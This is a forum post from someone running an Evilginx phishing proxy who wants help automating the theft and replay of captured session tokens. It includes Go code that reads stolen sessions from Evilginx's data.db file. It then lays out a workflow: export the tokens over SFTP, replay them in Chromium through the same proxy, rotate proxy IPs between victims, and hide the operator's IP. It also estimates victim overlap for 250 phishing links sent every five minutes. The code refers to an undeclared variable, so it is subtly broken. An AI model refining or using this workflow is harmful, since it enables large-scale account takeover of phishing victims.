Capturing Latest data.db Tokens

Hello @Fluxxset, I’m working on a project to instantly export the latest Evilginx tokens to a Chromium instance running on the same Evilginx proxy setup. I’ve refined the token-fetching logic and would like your feedback. It’s adapted from a section of your code (I’m aware that changes to http_proxy.go are required).


Token-fetching logic:

func getLatestSession() ([]byte, error) {
    file, err := os.Open("/root/.evilginx/data.db")
    if err != nil { 
        return nil, fmt.Errorf("failed to open data.db: %v", err) 
    }
    defer file.Close()

    scanner := bufio.NewScanner(file)
    var currentSession string
    var captureNext bool

    for scanner.Scan() {
        line := strings.TrimSpace(scanner.Text())
        
        if strings.HasPrefix(line, "$") {
            captureNext = true
            currentSession = ""
            continue
        }

        if captureNext && strings.HasPrefix(line, "{") {
            currentSession = line
        }
    }

    if latestSession == "" {
        return nil, fmt.Errorf("no valid session data found")
    }
    return []byte(currentSession), nil
}

Do you think it will last when there are the simultaneous users as if you talk about the chromium even if it is header less it will take good amount of Ram and processing power in the background

When tokens are captured:

  1. It gets the latest tokens similar to how you did it here.
  2. It exports extracted tokens to local machine via SFTP
  3. It gets Evilginx’s proxy configuration
  4. It applies Evilginx’s proxy configuration to the automation file (later exported to local machine) so that Chromium runs on same proxy as Evilginx
  5. It writes automation file to /tmp/ in the VPS, then exports it to local machine, after that it executes the file from VPS
  6. After all this, it will switch Evilginx proxy (from a predefined list by the user) so that new users authenticate from fresh IPs

EXTRA:

  • Local machine’s IP will never be leaked to Chromium given the network stealth.
  • Chromium is never launched in VPS!.
  • Chromium is never launched in headless mode!.
  • If 250 links are sent every 5 minutes, users have a 15% chance of overlapping within the 1-minute interaction. Sending every 10 minutes lowers overlap to 8%, assuming a 65% chance of opening within the 5/10 min and 35% outside the 5/10 min.
  • To evade the 15% chance of error I need to add some logic to constantly guard whether two users are active, if so.. Kali workspace logic has to be modified as well as SwitchProxy logic